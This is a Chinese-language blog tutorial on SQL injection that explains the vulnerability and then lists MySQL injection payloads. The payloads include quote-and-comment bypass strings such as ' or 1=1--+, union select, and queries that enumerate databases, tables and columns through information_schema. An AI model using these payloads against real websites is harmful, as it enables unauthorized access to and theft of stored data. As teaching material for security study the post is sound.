SQL注入


前言

不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动。在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一。

一、什么是SQL

SQL(Struct Query Language)结构化查询语言,是一种面向数据库的编程语言,它可以对数据库中的信息进行增删改查操作。SQL可以与多种数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。

二、什么是SQL注入

攻击者通过精心构造SQL语句达到欺骗服务器、绕过服务器的检测过滤,最终达到执行该SQL语句,并且输出攻击者想要获取的隐秘信息的过程。

三、Sql注入是怎么产生的

WEB交互少不了从WEB页面接收用户输入的信息,并且对其进行操作,最终完成交互的目的。有一句话说的好就是“有输入的地方就有风险”,如果对用户的输入不加过滤,直接带入数据库执行,那么就会产生一定的安全风险。例如:

http://xxx.com/sql?id=1

select username,password from user where id = 3

http://xxx.com/sql?id=1 union select….

select username,password from user where id = 3 union select ….

Mysql注入部分

获取字段数:order by x 取临界值

获取数据库名:database()

获取版本version()

Information_schema, mysql 5.0以上版本自带数据库,它记录有当前mysql下所有的数据库名,表名,列名信息

Information_schema.tables; 记录表名信息的表

Information_schema.columns; 记录列名信息的表

Table_name 表名

Column_name 列名

Schema_table 数据库名

数据库中符号”.”代表下一级的意思

Information_schema.tables 也就是 Information_schema数据库下的tables表

常用函数,进行信息收集

Version() –mysql版本

User() –数据库用户名

database() –数据库名

@@datadir —数据库路径

@@version_compile_os –操作系统版本

system_user() //系统用户名

user() //用户名

current_user() //当前用户名

session_user() //连接数据库的用户名

Concat

Concat_ws

Group_concat

–+可以用#替换,url提交过程中Url编码后的#为%23 ‘是%27 空格%20

Or 1=1–+

‘ or 1=1–+

) or 1=1–+

‘) or 1=1–+

“) or 1=1–+

“)) or 1=1–+

Union 内部的select语句必须拥有相同数量的列。

Mysql关键的表 重点!!!

Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。

猜数据库

select schema_name from information_schema.schemata

schema_name是数据库名 information_schema.schemata存储了所有的数据库名字

猜某库的数据表

这个查询某个特定的表

select table_name from information_schema.tables where table_schema=’xxxxx’

要是这样select table_name from information_schema.tables就是查询所有的表

table_schema是数据库的名称,table_name是具体的表名 information_schema.tables存储了所有的表名

猜某表的所有列

这个查询某个特定的表

Select column_name from information_schema.columns where table_name=’xxxxx’

要是这样Select column_name from information_schema.columns就是查询所有的列

column_name是列名 table_name是表名 information_schema.columns存储了所有的列名

获取某列的内容

Select *** from ****


文章作者: yunhea
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yunhea !
评论
评论
  目录